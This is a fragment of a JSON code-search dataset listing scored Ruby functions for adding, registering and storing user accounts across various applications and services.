"text": "def add_existing_users(users)\n users.map do |user|\n @current_course.course_users.build(user: user[:user], name: user[:name],\n creator: @current_user,\n updater: @current_user)\n end\n end",
"title": ""
},
{
"docid": "2dd19fe4bdedaec8207e064d97d9219a",
"score": "0.6013963",
"text": "def add username\n @members.add username\n end",
"title": ""
},
{
"docid": "ae0fb896053869d30b209b1f9184071f",
"score": "0.59849435",
"text": "def add_users(resource, users)\n users.each do |u|\n begin\n resource.add_user({ :user_name => u })\n rescue Aws::IAM::Errors::NoSuchEntity\n puts Colors.red(\"\\tNo such user #{u}!\")\n end\n end\n end",
"title": ""
},
{
"docid": "be5dda3cd04762c55efaa06074853aa8",
"score": "0.5972118",
"text": "def user(*args)\n @users << User.add(*args)\n end",
"title": ""
},
{
"docid": "e59d478abf70ec15802bce7493e59e02",
"score": "0.5968481",
"text": "def add_user(user)\n @users[user.name] = user\n end",
"title": ""
},
{
"docid": "cf71e567449a9556a60bee6fe47eb3c6",
"score": "0.59631854",
"text": "def add_user(user)\n user_hash[user.nick]=user unless user_hash.has_key?(user.nick)\n end",
"title": ""
},
{
"docid": "c3b2d85224218fa36c2d28d692790471",
"score": "0.59473217",
"text": "def add_user env, username, pwd\n config[env] = {} unless env_exists? env\n abort \"The #{username} already exists!\".yellow if user_exists? env, username\n config[env][username] = { 'access_token' => '', 'password' => encrypt_password(username, pwd) }\n write_config\n end",
"title": ""
},
{
"docid": "54adf8beaef20e30009496efed022540",
"score": "0.5936553",
"text": "def backend_addUser(param) \n @Users.push(param) \n end",
"title": ""
},
{
"docid": "b8910fa4b13355b76e24228b6c77987b",
"score": "0.5930363",
"text": "def add_existing_users(users)\n users.map do |user|\n @current_course.course_users.build(user: user[:user], name: user[:name],\n workflow_state: :approved, creator: @current_user,\n updater: @current_user)\n end\n end",
"title": ""
},
{
"docid": "e27de2c0dc8fac05ad00d38b935e5759",
"score": "0.5914878",
"text": "def add_users(course_id, test_users, user_role)\n users = ''\n test_users.each do |id, user|\n if user['role'] == user_role\n users << \"#{user['uid'].to_s}, \"\n end\n end\n if users.empty?\n logger.warn \"No test users with role #{user_role}\"\n else\n logger.info \"Adding users with role #{user_role}\"\n load_users_page course_id\n WebDriverUtils.wait_for_page_and_click add_people_button_element.when_visible\n user_list_element.when_visible timeout=WebDriverUtils.page_update_wait\n self.user_list = users\n self.user_role = user_role\n next_button\n WebDriverUtils.wait_for_page_and_click add_button_element\n add_users_success_element.when_visible timeout=WebDriverUtils.page_load_wait\n done_button\n end\n end",
"title": ""
},
{
"docid": "d02082c9e2f506c7c14696de1ba25be9",
"score": "0.59130037",
"text": "def save\n @@userList.push self\n self\n end",
"title": ""
},
{
"docid": "653b84fb3265bbaad89c233113f5ce43",
"score": "0.5910068",
"text": "def add_user(user)\n return false if self.users.include? user.user_id\n self.users = (users || []) + [user.user_id] \n user.databases = (user.databases || []) + [self._id]\n user.save\n self.save\n end",
"title": ""
},
{
"docid": "e9c54f6cda591330c57370bc8582d241",
"score": "0.59071493",
"text": "def additional_users_for_new\n []\n end",
"title": ""
},
{
"docid": "d662033b71b4ce10f33d50ab76d5356d",
"score": "0.5882263",
"text": "def casespace_seed_config_add_users(config)\r\n users = [config[:users]].flatten.compact\r\n return if users.blank?\r\n seed_config_message('++Adding seed config users.', config)\r\n users.each do |hash|\r\n casespace_seed_config_add_user(hash)\r\n end\r\nend",
"title": ""
},
{
"docid": "a487f3a83304a6cc0297acd21edf7f39",
"score": "0.5872383",
"text": "def add_user_to_import(canvas_user)\n @sis_user_import << canvas_user\n end",
"title": ""
},
{
"docid": "aaa564342ee8488047798f7f31fe8255",
"score": "0.5871787",
"text": "def store_user\n data = load_data\n user_details = {\n 'id' => @user.uid.to_s,\n 'username' => @user.username,\n 'password' => @user.password,\n 'playlist' => @user.playlist,\n 'mylist' => @user.mylist\n }\n data << user_details\n write_user(data)\n end",
"title": ""
},
{
"docid": "b99aa2ef4886d69f8d8914db117ed563",
"score": "0.58679825",
"text": "def add(username, realm, password)\n raise DigestFileError, \"Unable to add already existing user #{username} in realm #{realm}\" if has_entry?(username, realm)\n\n new_entry = DigestEntry.new(username, realm, password)\n new_index = @lines.size\n @lines << new_entry.to_s\n @entries[new_entry.key] = { 'entry' => new_entry, 'line_index' => new_index }\n dirty!\n return nil\n end",
"title": ""
},
{
"docid": "b47d12f5ae56be0b096c6ac8f416ac28",
"score": "0.5819531",
"text": "def add_user(args = {})\r\n clean_args(args)\r\n success = true\r\n\r\n # Opening in read/write so that we can make the changes to the file\r\n # while under protection of the system r/w lock.\r\n File.open(args[:file] || PASSWORDS_FILE, \"a+\") do |file|\r\n success = write_to_file(file, args[:username], args[:password],\r\n args[:environment], args[:override])\r\n end\r\n\r\n return success\r\n end",
"title": ""
},
{
"docid": "e71e0125bfc406f46c7e75859114c24c",
"score": "0.57703674",
"text": "def register(users_list, transactions_all, password)\n\t#new user_id is generated using the lenght of the hash 'users_list'\n\t#a different approach should be used to generate user_id if the function to delete a user is implemented\n\n\tnew_user_id = users_list.length + 1\n\tnew_user = {balance: 0, password: password}\n\tusers_list[new_user_id] = new_user\n\n\ttransactions_all[new_user_id] = []\n\n\t$logged_in_user_id = new_user_id\n\tputs \"Registration successful. Your ID is #{$logged_in_user_id}.\"\n\n\tnew_user_id\nend",
"title": ""
},
{
"docid": "1fac213ccfb1755b86a694b8bca97173",
"score": "0.5759054",
"text": "def add_user(username, password, attributes = {})\n @users[username] = {}\n @users[username][:password] = password\n if attributes.empty?\n @users[username][:attributes] = {\n 'User-Name' => username,\n 'Filter-Id' => 60\n }\n else\n @users[username][:attributes] = attributes\n end\n end",
"title": ""
},
{
"docid": "fa0faa80de0a4375f2bddd5cfb104354",
"score": "0.57494766",
"text": "def add_user(username, params)\n\t\t\t\t@session['datastore'][username] = params\n\t\t\tend",
"title": ""
},
{
"docid": "3cc171f81f6ea381136f26c267044182",
"score": "0.5745209",
"text": "def my_users\n self.users + [self.user]\n end",
"title": ""
},
{
"docid": "44d95357230a44993c7fcb33118e989c",
"score": "0.57311547",
"text": "def add_new_users(users)\n user = users.first\n wait_until_bus_section_load\n user_group_select.select(user.user_group) unless user.user_group.nil?\n storage_type_select.select(user.storage_type) unless user.storage_type.nil?\n storage_max_tb.type_text(user.storage_limit) unless user.storage_limit.nil?\n device_tb.type_text(user.devices) unless user.devices.nil?\n\n unless user.enable_stash.nil?\n if user.enable_stash.downcase.eql?('yes')\n enable_stash_cb.check\n else\n enable_stash_cb.uncheck\n end\n end\n\n users.each_index do |index|\n Log.debug \"##########adding the #{index} user\"\n find(:id, \"user#{index+1}_name\").type_text(users[index].name)\n find(:id, \"user#{index+1}_username\").type_text(users[index].email)\n add_user_btn.click if index != users.length-1\n end\n\n unless user.send_email.nil?\n if user.send_email.downcase.eql?('yes')\n send_emails_cb.check\n else\n send_emails_cb.uncheck\n end\n end\n\n submit_btn.click\n wait_until_bus_section_load\n end",
"title": ""
},
{
"docid": "66cf606940a12ad2cf4f3d76056f9bfb",
"score": "0.5730897",
"text": "def new_user\n account_make = self\n # assign storing of information to a variable\n account_store = YAML::Store.new 'users.store'\n # store the object into a file\n account_store.transaction do\n account_store[username.to_s] = account_make\n end\n end",
"title": ""
},
{
"docid": "ad75cf432f062dcdf9bc81626bfa0c8a",
"score": "0.57287073",
"text": "def add_users_to_cc_list(user_ids)\n user_ids.each { |id| self.users << User.find(id) }\n self.save\n end",
"title": ""
},
{
"docid": "f36fa931693bb9cc2edca792c9af06e5",
"score": "0.5704709",
"text": "def store_user(name)\n if @users == nil\n @current_user = User.new\n @current_user.name = name\n @users = [@current_user]\n else\n if @users.select{|user| user.name == name} == []\n @current_user = User.new\n @current_user.name = name\n @users << @current_user\n else\n @current_user = @users.select{|user| user.name == name}.first\n end\n end\n end",
"title": ""
},
{
"docid": "7741dda4f2ba364a10754af067dbd8f6",
"score": "0.5702387",
"text": "def save_authorized_users(users)\n if OPTIONS[\"users\"].sort != users.sort\n Logger.log \"updating authorized users list\"\n OPTIONS[\"users\"] = users\n begin\n File.open(FILES[:secrets], \"w+\") { |f| f.write(OPTIONS.to_yaml) }\n rescue Exception => e\n retry if fix_dir?\n Logger.log \"unable to save authorized users.\"\n Logger.log e\n end\n end\n end",
"title": ""
},
{
"docid": "5c0af1e01af21f20b9f05ec95a186b6f",
"score": "0.5684171",
"text": "def create_new_user\r\n touch(\"* id:'#{add}'\")\r\n end",
"title": ""
},
{
"docid": "c596caeb2433d35fca47b4a00cd1659c",
"score": "0.56834084",
"text": "def create_user\n command = compile_command(\"useradd\") do |useradd|\n useradd << universal_options\n useradd << useradd_options\n end\n\n run_command(:command => command)\n\n # SmartOS locks new users by default until password is set\n # unlock the account by default because password is set by chef\n if check_lock\n unlock_user\n end\n end",
"title": ""
},
{
"docid": "90d4042f2da4a3ca7d4bd586c108d0da",
"score": "0.5676691",
"text": "def add_users(ids)\n\t\t self.shared_users = ids.split(\",\").map do |id|\n \t\tUser.where(id: id.strip).first_or_create!\n \tend\n\tend",
"title": ""
},
{
"docid": "162f27c9f62fddf2fdd21be6ef71c085",
"score": "0.5659003",
"text": "def store_credentials(user_id, credentials)\n\t raise NotImplementedError, 'store_credentials is not implemented.'\n\tend",
"title": ""
},
{
"docid": "29250ab56bbbbc5fa9aa417c5d69ffb5",
"score": "0.5648703",
"text": "def save\r\n @@users.push self\r\n end",
"title": ""
},
{
"docid": "745647ac3be81b89fdbb35321f6d8d4a",
"score": "0.5633732",
"text": "def new_user\n system('clear')\n File.open(userdata, 'w') { |f| f.write([].to_json) } unless File.exist?(userdata)\n puts 'Welcome! Please register for an account to continue.'.colorize(:light_green)\n username = @prompt.ask('Username >')\n raise RequirementError.new, 'Requirements not met' if username.match?(/[!@#$%^&*(),.?\":{}|<>]/)\n\n new_user_password(username)\n rescue RequirementError\n puts 'Username cannot contain special characters. Please try again!'.colorize(:light_red)\n new_user\n end",
"title": ""
},
{
"docid": "9378a4bbff59da08287d7699dbf53e4b",
"score": "0.5630386",
"text": "def user_add(username, password,\n config = Hash.new)\n default_config = {\n :add_user => true,\n :password => password,\n :comment => \"\",\n :use_mail => true,\n :use_ftp => false,\n :use_file_sharing => false,\n :mail_quota => 200, # in MB\n :virus_check => false,\n :spam_filter => false\n }\n\n user_setting(username,\n default_config.merge(config))\n end",
"title": ""
},
{
"docid": "376d99cdcc8549140bb9c2ace23cce2c",
"score": "0.56193584",
"text": "def user username, password, opts={}\n opts.reverse_merge! :access => true, :priv => false\n\n @users[username] = password\n\n if opts[:access]\n @access_users.push username\n end\n\n if opts[:priv]\n @priv_users.push username\n end\n end",
"title": ""
},
{
"docid": "95f8cf2be961733df999332634a2c4c2",
"score": "0.5617348",
"text": "def handle_new_user \n system \"clear\" \n CoffeeMan.stay_logo\n username = @prompt.ask(\"Create a username\", required: true) \n #check if new username already exists\n if User.all.map(&:username).include?(username)\n puts 'This username already exist'\n sleep 5 / 2\n system \"clear\"\n sleep 1\n #redirect to log in option method\n CoffeeMan.stay_logo\n self.log_in\n else\n #if new username doesn't exist, create a new password\n password = @prompt.mask(\"Create a password\", required: true) \n end \n #after everything, create a new user instance \n @userid = User.create(username: username, password: password) \n main_menu\nend",
"title": ""
},
{
"docid": "7db75c8d3339b8b0cfb171bac8ef6366",
"score": "0.56137186",
"text": "def add_user(user)\n self.users.create(id: user.id)\n end",
"title": ""
},
{
"docid": "988ed79fd73445b02107dd2b0a7ef89c",
"score": "0.56124544",
"text": "def addUsers()\n ch = 1\n\n while ch == 1\n puts \"Enter User Name: \"\n name = gets\n puts \"Enter User Address: \"\n address = gets\n puts \"Enter Book Limit: \"\n book_limit = gets\n # generate unique ID\n @@userid_count+=1\n \n user = User.new(@@userid_count, name, address, Array.new, book_limit)\n @users.push(user)\n\n puts \"Add more users? Enter 1 or 0. YES=1, NO=0 \"\n ch = gets.to_i\n end\n end",
"title": ""
},
{
"docid": "34b5590b16d0652dc4ad480e77c1088d",
"score": "0.5605182",
"text": "def join(user)\n @mysqlHelper.insertConUser(user.getI,@id)\n @userList.getcontents.each { |users| \n \n users.userChangeFromChannel(\"204\", @id, user.getId)\n }\n @userList.add(user)\n \n end",
"title": ""
},
{
"docid": "79226a5b7d5e33fed14dc07ebded2c99",
"score": "0.5599062",
"text": "def set_credentials\n @user = User.find(current_user.id)\n end",
"title": ""
},
{
"docid": "a1513ea1382bf5e65c7ab1879340088a",
"score": "0.55984145",
"text": "def _user_add argv = {}\n\t\tf\t\t\t\t= {}\n\t\tf[:tag]\t\t\t= argv[:tag] if argv.include?(:tag)\n\t\tf[:salt] \t\t= _random 5\n\n\t\t#username\n\t\t_throw Sl[:'the user is existing'] if _user? f[:name]\n\t\tf[:name] \t\t= argv[:name]\n\n\t\t#password\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(argv[:pawd] + f[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\t_submit :_user, :fkv => f, :uniq => true\n\t\tuid = Sdb[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend",
"title": ""
},
{
"docid": "6d51e6d212b53afa98756be29d5df8d8",
"score": "0.55822015",
"text": "def new_users\n print \"\\nadding 5 new users: \"\n users = []\n 5.times do\n print '.'\n user = User.create!(\n email: Faker::Internet.unique.email,\n password: \"password\",\n first_name: Faker::Superhero.descriptor,\n last_name: Faker::Superhero.suffix\n )\n users << user\n end\n users\nend",
"title": ""
},
{
"docid": "fef3961bb0976ce51a2c18347ec93c78",
"score": "0.55778897",
"text": "def process_new_users\n logger.warn(\"#{@active_sis_users.length} new user accounts detected. Adding to SIS User Import CSV\")\n @active_sis_users.values.each do |new_user|\n new_canvas_user = canvas_user_from_campus_row(new_user)\n add_user_to_import(new_canvas_user)\n end\n @active_sis_users = nil\n end",
"title": ""
},
{
"docid": "3d75771677c3b4fb5ff02fe7e8fa83b5",
"score": "0.5575379",
"text": "def add_user(username, password)\n response = RequestResponse.new\n user_resp = self.collection(SYSTEM_USER_COLLECTION).first({:user => username})\n user_resp.callback do |res|\n user = res || {:user => username}\n user['pwd'] = EM::Mongo::Support.hash_password(username, password)\n response.succeed self.collection(SYSTEM_USER_COLLECTION).save(user)\n end\n user_resp.errback { |err| response.fail err }\n response\n end",
"title": ""
},
{
"docid": "8b74e519a4a109304ef6e1ad06216447",
"score": "0.5569759",
"text": "def add_account_user account_user\n \n \n # find or create catalog user\n catalog_user = CatalogUser.where( user_id: account_user.user_id, \n catalog_id: self.id,\n account_id: self.account_id,\n role: account_user.role)\n .first_or_create( \n user_id: account_user.user_id, \n catalog_id: self.id,\n account_id: self.account_id,\n role: account_user.role\n )\n \n # copy permissions to catalog user \n Permissions::TYPES.each do |permission|\n #eval \"catalog_user.#{permission} = account_user.#{permission}\"\n catalog_user[permission] = account_user[permission]\n end\n catalog_user.save!\n catalog_user\n end",
"title": ""
},
{
"docid": "e0ccaa6981b67fb58deecd98d2e22949",
"score": "0.556792",
"text": "def add_users(users)\n users.each do |user|\n unless @users_by_href.has_key?(user.href)\n @users_by_href[user.href] = RsUserPolicy::User.new(user)\n end\n end\n end",
"title": ""
},
{
"docid": "def51d6d2b5c8e73c576d421df43ac87",
"score": "0.55560446",
"text": "def addUserToList(username)\n\t\tbegin\n\t\t\tresult = 0\n\t\t\tif [email protected]?(username)\n\t\t\t\tTwitterClient.add_list_member(@selectedList,username)\n\t\t\t\tresult = 1\n\t\t\tend\n\t\t\tresult\n\t\trescue\n\t\t\t-1\t\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f0d3ed2693965c86570e329e882aa73b",
"score": "0.55434346",
"text": "def add(response)\n toggle_membership(response, :add_user_to_group, \"user_added\", \"user_already_in\")\n end",
"title": ""
},
{
"docid": "0955ff53cbff35e079893ab1f88cafcb",
"score": "0.55420345",
"text": "def add_user(user)\r\n\t\tsend(\"ADC\",\"FL N=#{user.name} F=#{user.safenick}\")\r\n\t\tsend(\"ADC\",\"AL N=#{user.name} F=#{user.safenick}\")\r\n\t\t## XXX changes recorded locally by ADD msg back\r\n\t\treturn 1\r\n\tend",
"title": ""
},
{
"docid": "e0e1b59f352222982c69a4d7183e506b",
"score": "0.5537868",
"text": "def add_user_password(username, password, options = {})\n raise ArgumentError, \"The new password cannot be nil\" unless password\n raise ArgumentError, \"The new username cannot be nil\" unless username\n raise ArgumentError, \"The new password cannot be empty\" if password.empty?\n raise ArgumentError, \"The new username cannot be empty\" if username.empty?\n\n raise Exception, \"Cannot add username password, a Software Password already exists for the provided username\" if self.has_user_password?(username.to_s)\n\n add_user_pw_template = {\n 'softwareId' => self['id'].to_i,\n 'password' => password.to_s,\n 'username' => username.to_s\n }\n\n add_user_pw_template['notes'] = options['notes'].to_s if options.has_key?('notes')\n add_user_pw_template['port'] = options['port'].to_i if options.has_key?('port')\n\n softlayer_client[:Software_Component_Password].createObject(add_user_pw_template)\n\n @passwords = nil\n end",
"title": ""
},
{
"docid": "045c86f1b03481a93b74c9856e2963ad",
"score": "0.5537803",
"text": "def addUser(stat,typ,email,pwhash)\n @conn.exec_prepared(\"add_user\",[stat,typ,email,pwhash])\n end",
"title": ""
},
{
"docid": "403aa80adb1f8059435517d30d24d036",
"score": "0.5530702",
"text": "def add_user_list(user_list, skip_attribute_update = false)\n\t\tuser_hash = {}\n\t\tuser_list.each do |user_id|\n\t\t\tuser_hash[user_id] = { status: STATUS_NO_RESPONSE, \n\t\t\t\tcondition: NoCondition.new.get_hash }\n\t\tend\n\t\tself.party_list.merge!(user_hash) { |key, old, new| old }\n\t\tself.update_attribute(:party_list, self.party_list) if !skip_attribute_update\n\tend",
"title": ""
},
{
"docid": "bfa3e00b4c53ba97cf0eecf85ef85646",
"score": "0.5526181",
"text": "def add_or_update(username, realm, password)\n if has_entry?(username, realm) then\n update(username, realm, password)\n else\n add(username, realm, password)\n end\n end",
"title": ""
},
{
"docid": "bfa3e00b4c53ba97cf0eecf85ef85646",
"score": "0.5526181",
"text": "def add_or_update(username, realm, password)\n if has_entry?(username, realm) then\n update(username, realm, password)\n else\n add(username, realm, password)\n end\n end",
"title": ""
},
{
"docid": "92be17322ca5791659f8af027d965fb7",
"score": "0.5519284",
"text": "def add_responsible(responsible)\n users << responsible\n end",
"title": ""
},
{
"docid": "52c95371a6c185ef55d37c66a364f1ac",
"score": "0.55165267",
"text": "def add_user(username, password, read_only = false)\n users = self[SYSTEM_USER_COLLECTION]\n user = users.find_one({:user => username}) || {:user => username}\n user['pwd'] = Mongo::Support.hash_password(username, password)\n user['readOnly'] = true if read_only;\n users.save(user)\n user\n end",
"title": ""
},
{
"docid": "ee0d373afa9659bc6cded5cd4911dd22",
"score": "0.5505287",
"text": "def user_add argv = {}\n\t\tfkv\t\t\t= {}\n\t\tfkv[:name]\t= argv[:name]\n\t\tfkv[:level]\t= argv[:level]\n\t\tfkv[:tag]\t= argv[:tag] if argv[:tag]\n\n\t\t# if the username is existed\n\t\t_throw Sl[:'the user is existed'] if user_has? fkv[:name]\n\n\t\t# password\n\t\trequire \"digest/sha1\"\n\t\tfkv[:salt] \t= _random 5\n\t\tfkv[:pawd] \t= Digest::SHA1.hexdigest(argv[:pawd] + fkv[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\tdata_submit :user_info, :fkv => fkv, :uniq => true\n\n\t\tuid = Sdb[:user_info].filter(:name => fkv[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend",
"title": ""
},
{
"docid": "2bd5254d0ffa45c455f500876fdd4a93",
"score": "0.5497752",
"text": "def credentials=(value)\n super\n values = value.is_a?(Array) ? value : [value]\n self.unauthorized_record = values.first if values.first.class < ::ActiveRecord::Base\n end",
"title": ""
},
{
"docid": "c08b6e408889c20b731aa014f58f533d",
"score": "0.5496728",
"text": "def process_workshop_users(data)\n\t\tdata.each do |item|\n\t\t\tif item[:password] == \"local\"\n\t\t\t\titem[:password] = @user.password\n\t\t\tend\n\t\t\[email protected]_user(item)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "22895e4eca7fb1698ed466eb0903f193",
"score": "0.54951155",
"text": "def add_users_to_team(users, access_role)\n add_users_ids_to_team(users.map(&:id), access_role)\n end",
"title": ""
},
{
"docid": "f4ff01dbd9c217a540156cdfc9f06452",
"score": "0.54925203",
"text": "def add_user(username, reload = false, update_default = false)\n until username\n print \"User name >\"\n STDOUT.flush\n username = STDIN.gets.chomp\n return if username.empty?\n redo unless username =~ /\\A[0-9A-Z_a-z]+\\z/\n end\n \n if !reload && user_registered?(username)\n puts \"The user \\\"#{username}\\\" is already registered.\"\n return\n end\n \n auth = auth_http(:user => username, :reload => reload, :browser => true)\n if auth != nil\n puts \"User \\\"#{username}\\\" is successfully registered.\"\n if update_default || @config[\"login/\"] == nil\n @config[\"login/\"] = username\n puts \"Default user is set to @#{username}.\"\n end\n end\n save_config\n end",
"title": ""
},
{
"docid": "5b33271f2383059fee73187e8e9a2208",
"score": "0.54911256",
"text": "def add_credentials(post = {})\n post[:ext_person_source_id] = credentials[:ext_person_source_id]\n post[:source_username] = credentials[:username]\n post[:source_password] = credentials[:password]\n post[:ext_policy_id] = credentials[:ext_policy_id]\n post\n end",
"title": ""
},
{
"docid": "7c4a4691db3e3fa79bb639af5f1f6632",
"score": "0.5484846",
"text": "def add_user(iam_client)\n\n\t# Catch any exceptions. We don't clean up if we do.\n\tbegin\n\t\t# create the user\n\t\tresp = iam_client.create_user({\n\t\t\tpath: Options[:path],\n\t\t\tuser_name: Options[:username],\n\t\t})\n\t\tuser = resp.user\n\t\tpp user if Options[:verbose]\n\n\t\t# Now add a login Profile\n\t\tresp = iam_client.create_login_profile({\n\t\t\tuser_name: Options[:username], # required\n\t\t\tpassword: Options[:password], # required\n\t\t\tpassword_reset_required: true,\n\t\t})\n\t\tprofile = resp.login_profile\n\t\tpp profile if Options[:verbose]\n\n\t\tresp = iam_client.add_user_to_group({\n\t\t group_name: Options[:group], # required\n\t\t user_name: Options[:username], # required\n\t\t})\n\n\t\tpp resp if Options[:verbose]\n\n\t\t# This gets the account alias which is part of the login url\n\t\tresp = iam_client.list_account_aliases()\n\t\tpp resp if Options[:verbose]\n\t\taccount_alias = resp.account_aliases[0]\n\trescue Exception => e\n\t\tputs \"Error creating account #{e.message}\"\n\t\texit 1\n\tend\n\n\tputs \"User: #{Options[:username]} (#{user.arn}) created and added to #{Options[:group]}\"\n\tputs \"Login url: https://#{account_alias}.signin.aws.amazon.com/console\"\n\tputs \"Username: #{Options[:username]}\"\n\tputs \"You must change your password and set MFA on first login by going to this URL after setting your new password:\"\n\tputs \"https://console.aws.amazon.com/iam/home?region=us-east-1#/users/#{Options[:username]}?section=security_credentials\"\n\tputs \"---end of email ---\\n\\n\"\n\tputs \"Password: #{Options[:password]}\"\n\nend",
"title": ""
},
{
"docid": "687ce84bed815ad2fb67c18b03e66821",
"score": "0.5481631",
"text": "def register\n enc_password = Authentication::Encryptor.digest(password)\n account = Authentication::Account.find_or_initialize_by({email: username})\n account.assign_attributes({'encrypted_password' => enc_password, 'gid' => gid})\n account.roles.concat(role.to_a).uniq!\n account.save!\n {'account_id' => account.id}\n end",
"title": ""
},
{
"docid": "2268770d2aa66f8863f68c5699edb0a9",
"score": "0.5475244",
"text": "def sign_up\n prompt = prompt_instance\n balance = 250\n streak = 0\n username, password = get_user_details\n username_taken = find_username(username)\n if username_taken == false \n $users.push([username, password, balance, streak])\n else\n system('clear')\n prompt.select(\"The username you have entered already exists. Please try again\") do |menu|\n menu.choice \"TRY AGAIN\", -> {sign_up}\n menu.choice \"BACK TO MENU\".colorize(:red), ->{start_menu}\n end\n end\n login_menu\nend",
"title": ""
},
{
"docid": "f1012f305ac909e274ec68a2718946e1",
"score": "0.54690576",
"text": "def add_user(opts)\n generated_pass = rand(10E10).to_s\n data = {\n :login => opts[:login] || opts[:email],\n :firstName => opts[:first_name] || 'FirstName',\n :lastName => opts[:last_name] || 'LastName',\n :password => opts[:password] || generated_pass,\n :verifyPassword => opts[:password] || generated_pass,\n :email => opts[:email] || opts[:login]\n }\n\n # Optional authentication modes\n tmp = opts[:authentication_modes]\n if tmp\n if tmp.is_a? Array\n data[:authenticationModes] = tmp\n elsif tmp.is_a? String\n data[:authenticationModes] = [tmp]\n end\n end\n\n # Optional company\n tmp = opts[:company_name]\n tmp = opts[:company] if tmp.nil? || tmp.empty?\n data[:companyName] = tmp if tmp && !tmp.empty?\n\n # Optional country\n tmp = opts[:country]\n data[:country] = tmp if tmp && !tmp.empty?\n\n # Optional phone number\n tmp = opts[:phone]\n tmp = opts[:phone_number] if tmp.nil? || tmp.empty?\n data[:phoneNumber] = tmp if tmp && !tmp.empty?\n\n # Optional position\n tmp = opts[:position]\n data[:position] = tmp if tmp && !tmp.empty?\n\n # Optional sso provider\n tmp = opts[:sso_provider]\n data['ssoProvider'] = tmp if tmp && !tmp.empty?\n\n # Optional timezone\n tmp = opts[:timezone]\n data[:timezone] = tmp if tmp && !tmp.empty?\n\n c = client(opts)\n\n # TODO: It will be nice if the API will return us user just newly created\n url = \"/gdc/account/domains/#{opts[:domain]}/users\"\n response = c.post(url, :accountSetting => data)\n\n url = response['uri']\n raw = c.get url\n\n # TODO: Remove this hack when POST /gdc/account/domains/{domain-name}/users returns full profile\n raw['accountSetting']['links'] = {} unless raw['accountSetting']['links']\n raw['accountSetting']['links']['self'] = response['uri'] unless raw['accountSetting']['links']['self']\n\n c.create(GoodData::Profile, raw)\n end",
"title": ""
},
{
"docid": "5dfdf40f2b773dcafd0c8e75b7fcaa52",
"score": "0.54684776",
"text": "def register()\n\tentry = {\"userid\" => @userid, \"username\" => @username, \"email\" => @email, \"password\" => @password}\n\tDATABASE.newEntry(\"users\", entry)\n\tend",
"title": ""
},
{
"docid": "fe3fca3deac607895388b25745584a57",
"score": "0.5451109",
"text": "def get_account \n @user = {}\n @user[@username] = @password\n data = []\n data << File.write('test_2.json', JSON.dump(@user))\n end",
"title": ""
},
{
"docid": "b1479ed100cfc4dd98c0f7d4c22d514e",
"score": "0.54454505",
"text": "def user_adding\n puts 'User ID :'\n userid = gets.chomp.to_s\n\n puts 'User Name :'\n username = gets.chomp.to_s\n\n puts 'Password :'\n password = gets.chomp.to_s\n\n puts 'Level :'\n level = gets.chomp.to_s\n\n new_user = User.new(userid, username, password, level)\n\n $user_array.push(new_user.to_hash)\n\n File.open(\"Users.json\", \"w+\") do |f|\n f.puts($user_array.to_json)\n end\n puts \"Them moi nguoi dung thanh cong. Bam ENTER de tiep tuc\"\n gets.chomp\nend",
"title": ""
},
{
"docid": "c23cb08a14ebcfed5064ca8f672bc2eb",
"score": "0.5443594",
"text": "def registerUser(name, usernumber)\n # puts (\"adding user\")\n @users.store(name, usernumber)\n end",
"title": ""
},
{
"docid": "d61567794eaf67cd45eae98780bbd5b4",
"score": "0.5438544",
"text": "def addUsersToSearchContext(value)\n begin\n values = value.split(' ')\n values.each do |x|\n \n # Find each user and add its information to the search context\n user = User.find_by_username(x)\n if user != nil\n @context.merge!({:user=> user})\n puts \"Added user: #{user.username} to the search context\"\n user.devices.each do |d|\n @device_ids.push(d.id)\n end\n end\n end\n rescue => e\n puts \"Problem adding user to search context. E: #{e}\"\n end\n end",
"title": ""
},
{
"docid": "227fe0ed0413b9dd53f491d5577a909e",
"score": "0.54309136",
"text": "def store_credentials user_id, credentials\n json = MultiJson.dump(\n client_id: credentials.client_id,\n access_token: credentials.access_token,\n refresh_token: credentials.refresh_token,\n scope: credentials.scope,\n expiration_time_millis: credentials.expires_at.to_i * 1000\n )\n @token_store.store user_id, json\n credentials\n end",
"title": ""
},
{
"docid": "a9b9c14ac84d44b89d327153c1191854",
"score": "0.54283494",
"text": "def get_random_user_list \n @users = user_list.sample(5).insert(rand(5), {name: \"ME\", bot: false})\n end",
"title": ""
},
{
"docid": "cbaeec3e3f7471aecc2a5abc0c03e457",
"score": "0.5424509",
"text": "def add_user(login, password)\n GoodData::Domain.add_user(name, login, password)\n end",
"title": ""
},
{
"docid": "6b657628faf8a777372e9664e720acdf",
"score": "0.541824",
"text": "def add_user(user)\n user = user.strip.downcase\n key = key_for('autocomplete')\n (1..(user.length)).each{ |l|\n prefix = user[0...l]\n @redis.zadd(key,0,prefix)\n }\n @redis.zadd(key,0,user+'*')\n end",
"title": ""
},
{
"docid": "c5e82fe8c8d49f989193c598b70cfa97",
"score": "0.5417746",
"text": "def add_or_update(username, password, algorithm = Algorithm::DEFAULT)\n if has_entry?(username) then\n update(username, password, algorithm)\n else\n add(username, password, algorithm)\n end\n end",
"title": ""
},
{
"docid": "d87fcdc6ec775b3d18120038dbc4f376",
"score": "0.53992087",
"text": "def new_list_users\n\n end",
"title": ""
},
{
"docid": "d8f42a9ea8b80a9f2de80cccf982b967",
"score": "0.5395591",
"text": "def add_new_user()\n new_user_link.click\n end",
"title": ""
},
{
"docid": "e183bfe4aabc392aeb3fc1c779b3b248",
"score": "0.5393235",
"text": "def user_add(username, password, permissions, type)\n payload = {\n :username => username, \n :password => password, \n :permissions => permissions, \n :type => type, \n :json => 1\n }\n http_post(:uri=>\"/users\", :fields=>x_cookie, :data=>payload)\n end",
"title": ""
},
{
"docid": "69433a32b1a0192ba75f14ec94febbe9",
"score": "0.5388725",
"text": "def add_key(user_name, key)\n\tabort \"Cannot add key, user not found!\" unless users(:return => :array).include?(user_name)\n\t@ssh_keys << {:user_name => user_name, :key => key}\n end",
"title": ""
}
] |
0ebf2f3a0044f4a92ca1a26cf5149994
|
Increments stat by one, bucketing based on the timestamp.
|
[
{
"docid": "2313f923befb0b9fa0435c025aab94ee",
"score": "0.6303951",
"text": "def <<(stat, time_unit)\n incr stat, time_unit\n end",
"title": ""
}
] |
[
{
"docid": "5f889d3e6177171241f182d20e985471",
